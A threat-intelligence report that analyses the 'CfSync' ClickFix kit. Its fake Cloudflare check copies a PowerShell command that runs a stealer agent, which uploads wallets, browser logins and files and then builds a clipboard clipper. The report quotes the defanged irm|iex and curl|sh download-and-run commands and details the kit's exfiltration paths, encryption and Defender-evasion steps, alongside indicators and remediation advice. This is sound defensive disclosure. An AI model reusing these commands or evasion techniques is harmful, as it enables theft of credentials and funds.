Web threats / ClickFix

CfSync ClickFix kit

CfSync is a ClickFix kit that runs on the operator's own domains. Its fake Cloudflare check copies a command for a PowerShell agent that uploads wallets, browser logins and files, then compiles a clipboard clipper on the victim's computer. Our rules have matched 3 of its lure domains and 1 controller since 16 November.

CfSync in numbers

Since 16 November, the first CfSync match in our records, counted on 16 November 2026. How we count.

Lure domains our rules matched3
Controllers our rules matched1
Lure domains with a match in the last 30 days3

A fake Cloudflare check on the operator's own domains

CfSync runs on domains the operator registered rather than on hacked sites: crypto-market[.]cfd, crypto-markets[.]cfd and crypto-blog[.]cfd. Each serves the same page, titled "Just a moment...", with a Cloudflare logo and the headline "Checking if the site connection is secure". Its script, app.js, talks to one controller, serv.mevserver[.]cfd, which sits behind Cloudflare on a Google Trust Services certificate for *.mevserver[.]cfd issued on 10 November 2026.

The page copies its command before the visitor touches anything. app.js puts the command in a hidden text box and calls execCommand('copy'), an old browser API that copies without asking for permission. It tries on load, on every click, key press and touch, whenever the window gets focus back, and every 250 ms. The code's own comment states the aim: "silent copy, never a permission bubble". The page also requests fullscreen on every gesture and blocks F11, so the visitor cannot easily get back to the browser.

After 900 ms a "Human Verification" box opens itself with four steps: press Win+R, type cmd and press Enter, press Ctrl+V, press Enter. On a Mac the first step becomes Cmd+Space and Terminal, and on Linux Ctrl+Alt+T.

Every visitor gets a session

Before it copies anything, the page makes up a session ID for the visitor, an s and twelve hex characters, and writes it into the command. Windows visitors get this one:

PowerShell -nop -ep bypass -WindowStyle Hidden -Command "$cf1f2b = 'hxxps://serv.mevserver[.]cfd/api/agent?session=s<id>&r=0c62'; irm $cf1f2b | iex"

That is the fallback built into app.js. The page also asks the controller's /api/features route for the current command, which a comment calls "admin-editable, randomized"; one version the scanner received fetches /cdn/app.js?session= in place of /api/agent. Mac and Linux visitors get curl -fsSL "<controller>/api/plug/posix.sh?session=<id>" | sh instead.

The session lets the page watch the attack happen. Every 2.5 seconds it asks the controller for /api/sessions/<id>. Once the agent on the visitor's computer starts sending files, the button under the fake check changes from "Agent connected..." to Uploading <count> file(s).... When the agent reports it is done, the page shows "Verification complete. You can close this page now." and leaves fullscreen.

crypto-market[.]cfd: fake Cloudflare check, command copied
  -> Win+R, cmd, Ctrl+V, Enter
  -> GET /api/agent?session=<id>      PowerShell agent
  -> POST /api/devices/<computer>/collect/<category>, /files
  -> POST /api/devices/<computer>/plug/allocate   clipper source
  -> page polls /api/sessions/<id> until "finished"

The Windows agent collects and uploads

The script the command runs opens with # sync agent - files + telemetry. That line and the Cf prefix on its functions (Get-CfBundle, Invoke-CfRequest) give the kit its name. It drops its own process priority to below normal, "so the user/AV feel nothing", takes the computer's name as its device ID and runs one collector after another. Each posts to /api/devices/<computer>/collect/<category>:

  • wallets: Exodus, Electrum, Bitcoin Core wallet.dat, Ethereum keystore files, and MetaMask and Phantom extension data in Chrome.
  • browserData and browserSecrets: History, Bookmarks, Cookies, Login Data and Web Data from Chrome, Edge and Brave, with the Local State key decrypted through Windows DPAPI where it can be; Firefox logins.json and key4.db.
  • messengers: Telegram's tdata folder and Discord's local storage.
  • clipboard, screenshot and wifi: the clipboard text, a screenshot of the main screen, and every saved Wi-Fi network with its password (netsh wlan show profile key=clear).
  • The rest: running crypto miners, installed programs, startup entries, Microsoft Defender's state and exclusions, disks and monitors, recent files and installed developer tools (git, node, python, go, java and others).

Then it searches every drive for .txt, .png, .jpg, .pdf, .webp and .env files, zips them as bundle.zip and uploads them to /files. A switch left in the code limits that search to a testMe folder on the desktop; the operator's test setting is off in the builds we hold.

All of this traffic is encrypted. The agent fetches a key from /api/ping and derives two keys from it, one for AES-CBC encryption and one for an HMAC-SHA256 signature. The seventh byte of the key's hash picks one of four message layouts, and two of them XOR the whole message with a fixed byte (0x5a or 0x3c). A proxy log shows only base64 bodies to a Cloudflare address. The lure page's app.js carries the same scheme in JavaScript, which is how the page and the agent tie together. Variable and function names in the agent end in a number that changes with each build, such as Get-CfBundle2019.

The clipper is compiled on the victim's computer

Last, the agent asks /plug/allocate for a clipper: a program that watches the clipboard and swaps a copied wallet address for the attacker's. The reply carries C# source with addresses assigned to this victim. The agent compiles it with csc.exe, the C# compiler that ships with the .NET Framework in Windows, into %LOCALAPPDATA%\Programs\<Name>\<Name>.exe. The name joins two words from built-in lists, such as Nova and Sync or Apex and Dock.

Before installing, the agent sends the new file's SHA-256 to /plug/check, and the controller can ask for the file itself. If the answer is detected, the agent requests fresh source and compiles again, up to three builds, each with a new version number, publisher and description such as "tray utility" or "sync service". The build that passes starts from the HKCU Run key and gets an Uninstall entry from a publisher like "Nova Labs". A comment explains why: cleaners such as Avast Cleanup delete unknown programs in that folder, and an Uninstall entry makes it look installed. Where the agent runs with the rights, it adds the folder and the program to Microsoft Defender's exclusions.

The script ends by deleting its temporary files, which it names clickfix_*, cfzip_* and cfbundle_*.

On a Mac or Linux, only the clipper

posix.sh installs only the clipper. It calls itself ApexDock, "offline clipboard address sync", and registers the device with the controller under its user name, host name and system. It downloads a watcher script built for that device from /api/devices/<id>/plug/posix to ~/.local/share/ApexDock/sync.sh and starts it at login: through ~/Library/LaunchAgents/ApexDock.plist on macOS, or ~/.config/autostart/ApexDock.desktop on Linux. It also writes an uninstall.sh next to it. We have not retrieved a watcher script.

What we see

The three lure domains and the controller are every CfSync host we know of. A search of public scan and internet-index data and of our own captures found no others. @Malwarehunterr posted the campaign on X on 16 November 2026, naming crypto-blog[.]cfd and the same controller and API paths, without a name for the kit.

The controller also serves a script at /api/js that the lure page loads. It can send visitors on to other addresses, and its list of addresses was empty when we captured it.

Checking a computer

On Windows, look for a folder under %LOCALAPPDATA%\Programs\ with an .exe of the same name that you did not install, a Run value in HKCU\Software\Microsoft\Windows\CurrentVersion\Run that starts it with a file name as its argument, an Uninstall entry for it from a "Labs", "Software" or "Systems" publisher, and Defender exclusions for that folder. On macOS look for ~/Library/LaunchAgents/ApexDock.plist, and on Linux for ~/.config/autostart/ApexDock.desktop and ~/.local/share/ApexDock/.

A Windows computer that ran the command has sent its wallets, browser logins and cookies, Telegram and Discord sessions, Wi-Fi passwords and documents to the controller. Moving funds to a new wallet, created on another device, and signing out of every browser session matter more than removing the clipper.

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